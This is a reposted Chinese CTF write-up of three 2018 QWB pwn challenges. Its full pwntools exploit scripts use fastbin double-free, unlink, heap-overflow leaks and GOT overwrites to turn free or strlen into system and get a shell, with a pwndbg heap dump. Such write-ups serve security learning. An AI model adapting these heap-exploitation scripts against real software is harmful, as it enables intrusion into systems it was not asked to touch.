2018年强网杯pwn题复现

Posted Nullan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2018年强网杯pwn题复现相关的知识,希望对你有一定的参考价值。

silent

漏洞位置: free后没有给指针置空,edit也没有检查chunk是否free

利用思路: 利用uaf把chunk进入fastbin中,构造三个单链表来写free@got然后getshell
程序没有输出,这是一个难点,所以直接写
查表

objdump -d -j .plt silent//查plt
objdump -R silent//查got

在free@got上构造fake_chunk

from pwn import *
local = 1
if local:
    p = process('./silent')
    libc = ELF('./libc-2.23.so')
else:
    p = remote('39.107.32.132' , 10000)#nc 39.107.32.132 10000
    libc = ELF('./libc-2.23.so')

def alloc(size , content):
    p.sendline('1')
    p.sendline(str(size))
    p.sendline(str(content))

def delete(idx):
    p.sendline('2')
    p.sendline(str(idx))

def edit(idx , content):
    p.sendline('3')
    p.sendline(str(idx))
    p.sendline(content)
    p.sendline('')

elf = ELF('./silent')
fake_chunk = 0x601ffa
system_plt = 0x400730

alloc(0x50,aaaa)#0
alloc(0x50,bbbb)#1
alloc(0x50,cccc)#2

delete(0)
delete(1)
delete(0)#fastbin->chunk0->chunk1->chunk0

alloc(0x50,p64(fake_chunk))#fastbin->chunk1->chunk0->fake_chunk
alloc(0x50,'bin/sh\\x00')#fastbin->chunk0->fake_chunk
alloc(0x50,aaaa)
alloc(0x50,'a'*0xe + p64(system_plt))
delete(1)

p.interactive()

silent 2

漏洞位置: free后没有给指针置空,edit也没有检查chunk是否free


利用思路: 不能像上一题一样用fastbin了,大体思路是,因为是partial relro,利用unlink修改malloc返回的数组指针为free_got,这样修改改数组时就是修改free_got


from pwn import *

# context.log_level = 'DEBUG'

p = process('./silent2')


def alloc(size, content):
    p.sendline('1')
    p.sendline(str(size))
    p.send(content)


def edit(idx, content):
    p.sendline('3')
    p.sendline(str(idx))
    p.send(content)


def delete(idx):
    p.sendline('2')
    p.sendline(str(idx))

target = 0x6020C0 + 0x18  #存放malloc返回地址的数组
free_got = 0x602018    #查到free的got地址
sys_plt = 0x400730    #查到system的plt

alloc(0x80,'aaaa')#0
alloc(0x80,'bin/sh\\x00')#1
alloc(0x80,'bbbb')#2
alloc(0x80,'cccc')#3
alloc(0x80,'dddd')#4
alloc(0x80,'eeee')#5

delete(3)#为什么选择3,是因为0x18这个数字,下面会细细说明
delete(4)

payload = p64(0)+p64(0x91)+p64(target-0x18)+p64(target-0x10)+'a'*(0x80-0x10) #修改size,然后该fd和bk
payload += p64(0x90)+p64(0x101)
alloc(0x130,payload)
delete(4)
#unlink后向前合并,根据presize合并0x90的块,然后就可以在target处写上ptr-0x18的,edit(3)时取地址数组chunk3对应的位置就是target,所以edit3就可以在target处写free_got

edit(3,p64(free_got))#chunk0的地址变为free_got
edit(0,p64(sys_plt))#在target处就是chunk0写上system@plt,也就是把free_got改成sys@plt

delete(1)
p.interactive()

opm



跟进我们的alloc函数


根据v6的存储,我们构建一个结构体

v6[0] = func()
v6[1] = name_ptr
v6[2] = length
v6[3] = punch

找到structure结构体,然后按热键INSERT插入,光标放到end那一行,按下D就可以新增一个成员,光标放到数据,按D切换数据类型

切换数据类型

p = process('./opm')
def alloc(name,punch):
    p.sendlineafter('(E)','A')
    p.sendlineafter('name:',name)
    p.sendlineafter('punch?',str(punch))

def show():
    p.sendlineafter('(E)','S')
    
alloc('A'*0x70,1)
alloc('B'*0x80+'\\x10',2)
alloc('c'*0x80,'3'+'d'*0x7f+'\\x10')


alloc('e'*8+p64(heap-0x30),str(131441).ljust(0x80,'f')+p64(heap+0xc0))
 # 131441-0x20171 size of top chunk


name写上这个函数指针所在的地址,然后在第二次溢出时将地址写到name分配出来的堆上,然后在name的堆上构造role

pwndbg> x/200gx 0x56554deacc10 
0x56554deacc10:	0x0000000000000000	0x0000000000000031
0x56554deacc20:	0x000056554c00bb30	0x000056554deacc50
0x56554deacc30:	0x0000000000000070	0x0000000000000001
0x56554deacc40:	0x0000000000000000	0x0000000000000081
0x56554deacc50:	0x4141414141414141	0x4141414141414141
0x56554deacc60:	0x4141414141414141	0x4141414141414141
0x56554deacc70:	0x4141414141414141	0x4141414141414141
0x56554deacc80:	0x4141414141414141	0x4141414141414141
0x56554deacc90:	0x4141414141414141	0x4141414141414141
0x56554deacca0:	0x4141414141414141	0x4141414141414141
0x56554deaccb0:	0x4141414141414141	0x4141414141414141
0x56554deaccc0:	0x0000000000000000	0x0000000000000031
0x56554deaccd0:	0x000056554c00bb30	0x0000000000000000
0x56554deacce0:	0x0000000000000000	0x0000000000000000
0x56554deaccf0:	0x0000000000000000	0x0000000000000091
0x56554deacd00:	0x4242424242424242	0x000056554deacdc0
0x56554deacd10:	0x0000000000000080	0x4242424242424242
0x56554deacd20:	0x4242424242424242	0x4242424242424242
0x56554deacd30:	0x4242424242424242	0x4242424242424242
0x56554deacd40:	0x4242424242424242	0x4242424242424242
0x56554deacd50:	0x4242424242424242	0x4242424242424242
0x56554deacd60:	0x4242424242424242	0x4242424242424242
0x56554deacd70:	0x4242424242424242	0x4242424242424242
0x56554deacd80:	0x0000000000000010	0x0000000000000031
0x56554deacd90:	0x000056554c00bb30	0x0000000000000000
0x56554deacda0:	0x0000000000000000	0x0000000000000000
0x56554deacdb0:	0x0000000000000000	0x0000000000000091
0x56554deacdc0:	0x6363636363636363	0x6363636363636363
0x56554deacdd0:	0x6363636363636363	0x6363636363636363
0x56554deacde0:	0x6363636363636363	0x6363636363636363
0x56554deacdf0:	0x6363636363636363	0x6363636363636363
0x56554deace00:	0x6363636363636363	0x6363636363636363
0x56554deace10:	0x6363636363636363	0x6363636363636363
0x56554deace20:	0x6363636363636363	0x6363636363636363
0x56554deace30:	0x6363636363636363	0x6363636363636363
0x56554deace40:	0x0000000000000000	0x0000000000000031
0x56554deace50:	0x000056554c00bb30	0x000056554deace80
0x56554deace60:	0x000000000000000e	0x0000000000000000
0x56554deace70:	0x0000000000000000	0x0000000000000021
0x56554deace80:	0x4545454545454545	0x000056554deacd90 name's ptr
0x56554deace90:	0x0000000000000000	0x0000000000020171

from pwn import *

context.log_level = 'debug'
p = process('./opm')
def alloc(name,punch):
    p.sendlineafter('(E)','A')
    p.sendlineafter('name:',name)
    p.sendlineafter('punch?',str(punch))

def show():
    p.sendlineafter('(E)','S')
    
alloc('A'*0x70,1)
alloc('B'*0x80+'\\x10',2)
alloc('c'*0x80,'3'+'d'*0x7f+'\\x10')

p.recvuntil("B"*8)
heap = u64((p.recvuntil(">",drop=True)).ljust(8,"\\x00"))
print hex(heap)
alloc('e'*8+p64(heap-0x30),str(131441).ljust(0x80,'f')+p64(heap+0xc0)) # 131441-0x20171 size of top chunk
p.recvuntil("<")
func = u64((p.recvuntil(">",drop=True)).ljust(8,"\\x00"))
pro_base = func-0xb30  #计算基地址
print hex(pro_base)

alloc('g'*8+p64(pro_base+strlen_got),str(131441-0x30-0x20).ljust(0x80,'f')+p64(heap+0xc0+0x30+0x20))
#和上面一样,回显出strlen函数的地址
p.recvuntil("<")
strlenaddr = u64((p.recvuntil(">",drop=True)).ljust(8,"\\x00"))
print hex(strlenaddr)
system = strlenaddr-0x46390 #offset system
print hex(system)
#g()
alloc('U'*0x10,str(system&0xffffffff).ljust(0x80,'h')+p64(strlen_got+pro_base-0x18))
#system和0xffffffff异或就是取system的低四位,也就是刚好将system覆盖到了strlen的got上
alloc('/bin/sh;','5')
#执行的时候会传参
gdb.attach(p)
pause()
p.interactive()

以上是关于2018年强网杯pwn题复现的主要内容,如果未能解决你的问题,请参考以下文章

刷题记录:[强网杯 2019]Upload

2021强网杯Write-Up真题PWN和RE部分(强推)

强网杯web复现

强网杯2022 GameMaster

2021强网杯-赌徒-pop链的构造

强网杯2019—UPLOAD